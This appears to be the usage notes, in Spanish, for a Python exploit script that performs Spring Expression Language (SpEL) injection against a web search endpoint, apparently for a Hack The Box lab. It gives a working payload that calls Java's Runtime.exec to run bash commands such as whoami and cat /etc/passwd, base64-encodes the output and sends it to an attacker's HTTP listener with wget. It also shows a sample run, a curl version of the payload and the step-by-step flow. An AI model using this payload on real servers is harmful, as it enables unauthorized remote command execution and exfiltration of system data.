TARGET = "http://<IP_OBJETIVO>:8080/search"   # URL del objetivo
LHOST = "<SU_IP>"                              # IP local (tun0 para HTB)
LPORT = 80                                      # Puerto de escucha

# Comando simple
python3 spel_shell.py "whoami"

# Comando con pipe
python3 spel_shell.py "cat /etc/passwd"

# Enumeración del sistema
python3 spel_shell.py "uname -a"

# Verificar acceso de red
python3 spel_shell.py "curl -s http://httpbin.org/get"

[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

# Terminal 1: Iniciar el listener
python3 -m http.server 80

# Terminal 2: Enviar el payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<SU_IP>:80/{}"})' \
  http://<IP_OBJETIVO>:8080/search

# Verificar qué proceso usa el puerto
sudo netstat -tlnp | grep :80

# Detener Apache si está activo
sudo systemctl stop apache2

# O usar otro puerto
# Modifique LPORT en el script y pruebe

1. start_server() - Inicia un servidor HTTP en el puerto 80
                   ↓
2. Envía el payload SpEL mediante curl al objetivo
                   ↓
3. El objetivo ejecuta el comando y codifica el resultado en base64
                   ↓
4. wget envía el resultado al listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. El Handler recibe los datos y los almacena
                   ↓
6. El script decodifica y muestra el resultado